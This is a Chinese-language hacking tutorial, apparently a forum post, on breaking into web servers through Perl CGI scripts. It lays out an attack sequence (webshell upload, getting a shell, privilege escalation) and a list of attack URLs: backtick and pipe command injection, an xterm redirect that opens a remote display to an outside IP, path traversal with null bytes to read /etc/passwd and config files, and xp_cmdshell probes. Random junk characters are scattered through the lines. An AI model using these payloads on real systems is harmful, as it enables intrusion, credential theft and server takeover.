总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
. }6 n- D( ?# b2 t2 Dcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 $ l+ r. E4 e5 u: n2 E
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 , B6 p/ M7 M6 d- y0 o) E' }, z
注“ , s& ]. e" l/ x6 }1 x2 s
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
5 c4 J2 m8 d0 b以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 7 @& J7 }+ y& }; U2 U) Q% m
0 Q8 R: t0 u. Y' V. D% Y
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
6 }* r% N# c: U; N( v. O7 q: whttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
3 T3 \ c/ ^5 W1 G7 yhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 k, _& ~) Q( c+ i/ D, r5 l- Q0 i
http://target.com/cgi-bin/home/news/sub.pl?`id` ! G+ T: ^) z W* l. N. Q/ f# K! K
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` ) C5 }" D4 Q( }8 I! R4 N! G0 H
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
9 h/ w }1 g3 N( R/ Z/ n4 n/ G
% F: K) m* M K# z- t, Ohttp://target.com/test.pl;ls| 5 l9 q: H! ?, [( `
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| : S9 O$ x8 u+ E2 m' c. @& y$ j2 w
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| ; n( z" s, y: u+ b
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
- H) e3 A. \4 @% W' u! V8 ~比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
; {7 |9 x1 {; o. ]8 I% e2 M* mhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection . R) W/ n5 f5 O3 Q
* N& A$ P1 `/ |7 S, M* ~9 Khttp://target.com/test.pl?&........ /../../etc/passwd
+ R! ?& y0 f: n5 G. h" D
) J" N+ F2 w, F! W* b7 p: vhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ , A) T5 }' [0 _5 m
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
5 b& ]8 n* m5 s+ M; n, T! l0 }+ @6 Uhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
C& G$ i5 m2 P. Y4 ^/ H# E6 C( A7 ^$ H% l4 c
http://www.target.org/show.php?f ... /include/config.php 查看php代码
$ |; O8 ^3 m; P6 P" T- Zhttp://www.target.org/show.php?f ... ng/admin/global.php
! {4 M2 q, M( q) X$ W8 W' u) ^% r
, F$ L1 f) j Cemm和ps的一句话, `& I/ h, L4 L3 X: ~" a
. q- T# W5 R" J4 `http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 7 o7 Q/ _3 w. V. p- P8 _7 N7 l
+ [ _) S: Z/ J% L>bbb%20|
6 @3 J& i& q9 M! i( \3 Q+ y4 h1 ~' P4 m) Z
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 " F! h& u6 E" h# ~" k0 v
1 F+ {- \- w- h$ C. V( x+ @ z
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
, ]- g' O$ j8 V( _http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 5 [- q) P, T. I/ N' i. [6 s A
: m r$ ~4 F) @& k6 L5 Z' U$ Q
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
' E, n5 n9 t: O0 [6 Zhttp://target.com/index.html#cmd.exe : s* l" U5 @ `& K" o
http://target.com/index.html?dummyparam=xp_cmdshell 7 s! a, `2 X" r1 W
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
' B6 k' m% f) b |